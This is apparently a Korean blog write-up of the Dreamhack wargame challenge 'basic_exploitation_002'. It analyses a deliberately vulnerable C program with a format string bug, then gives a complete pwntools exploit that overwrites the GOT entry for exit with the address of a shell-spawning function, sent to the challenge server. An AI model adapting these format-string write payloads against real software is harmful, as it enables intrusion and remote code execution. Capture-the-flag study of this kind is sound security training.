1. 실습 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80);
printf(buf);
exit(0);
}
2. 코드 분석
- initialize함수에서 30초가 지나면, 프로그램이 종료되도록 작성되어 있다.
- get_shell이라는 함수에 shell획득이 가능한 코드가 존재한다.
- read함수로, buf 사이즈만큼 입력받아오므로, bof가 발생하지 않는다.
- main함수의 printf함수에 buf만 있는 것을 보아, fsb취약점이 존재하는 것을 알 수 있다.
- main함수에서 print함수를 실행 후, exit로 프로그램을 종료시킨다.
3. 풀이
해당 문제는 32bit fsb취약점이 존재하며, 이를 통해 got테이블에 위치한 exit의 주소를 get_shell주소로 변조하고 쉘을 획득할 수 있다.
(1) read로 들어간 입력값이 몇번째 인자에 속하는지 확인한다.
- 첫번째 4byte는 맨 처음에, 두번째 4byte는 두번째 인자에 들어가는 것을 알 수 있다.
(2) exit의 got주소값을 구한다.
- exit주소값이 0x804a024인 것을 알 수 있다.
from pwn import *
p = process(b"./basic_exploitation_002")
e = ELF(b"./basic_exploitation_002")
exit_addr = e.got['exit']
print("exit addr: ", hex(exit_addr))
(3) get_shell 주소값을 구한다.
- get_shell 주소값이 0x8048609인 것을 알 수 있다.
from pwn import *
p = process(b"./basic_exploitation_002")
e = ELF(b"./basic_exploitation_002")
get_sh = e.symbols['get_shell']
print("get_shell addr: ", hex(get_sh))
(4) %[값]$hn을 이용하여, got테이블에 위치한 exit주소값을 get_shell주소값으로 변조한다.
- print함수에서 유일하게 입력할 수 있는 포맷스트링 '%n'을 사용하여 입력한다.
- %n은 이전에 출력된 문자 수를 지정된 주소에 저장하는 포맷 스트링이다.
- %n은 4byte이며, %hn은 2byte이다.
- get_shell주소값을 그대로 넣어주면, 134514185개의 문자를 프린트해줘야 하기 때문에 시간제한에 걸릴 수 밖에 없다.
따라서, get_shell의 주소값을 2byte씩 넣어줘야 한다.
%134514185c%1$n
- get_shell의 주소값을 2byte씩 넣어주므로, got테이블의 exit주소값을 아래와 같이 넣어줘야 한다.
payload = p32(exit_addr + 2) # 4byte
payload += p32(exit_addr) # 4byte
- "%2044c%1$hn%32261c%2$hn"으로 get_shell주소를 2byte씩 넣을 수 있다.
- %2044c%1$hn 에서 2052가 아닌 2044인 이유는 이전 코드에서 exit_addr주소값을 8byte 넣어주기 때문이다.
- %32261c%2$hn 에서 34313이 아닌 32261이 들어간 이유는 이전에 2052byte 값이 들어있기 때문이다.
4. Exploit
from pwn import *
#p = process(b"./basic_exploitation_002")
p = remote(b"host3.dreamhack.games", 9253)
e = ELF(b"./basic_exploitation_002")
get_sh = e.symbols['get_shell'] #0x8048609
exit_addr = e.got['exit']
print("get_shell addr: ", hex(get_sh))
print("exit addr: ", hex(exit_addr))
payload = p32(exit_addr + 2) # 4byte
payload += p32(exit_addr) # 4byte
payload += b"%2044c%1$hn%32261c%2$hn"
p.sendline(payload)
p.interactive()
'Dreamhack > Wargame' 카테고리의 다른 글
[Wargame] uaf_overwrite (0) | 2022.09.19 |
---|---|
[Wargame] basic_exploitation_003 (0) | 2022.08.16 |
[Wargame] out_of_bound (0) | 2022.08.10 |
[Wargame] hook (0) | 2022.07.22 |
[Wargame] oneshot (0) | 2022.07.19 |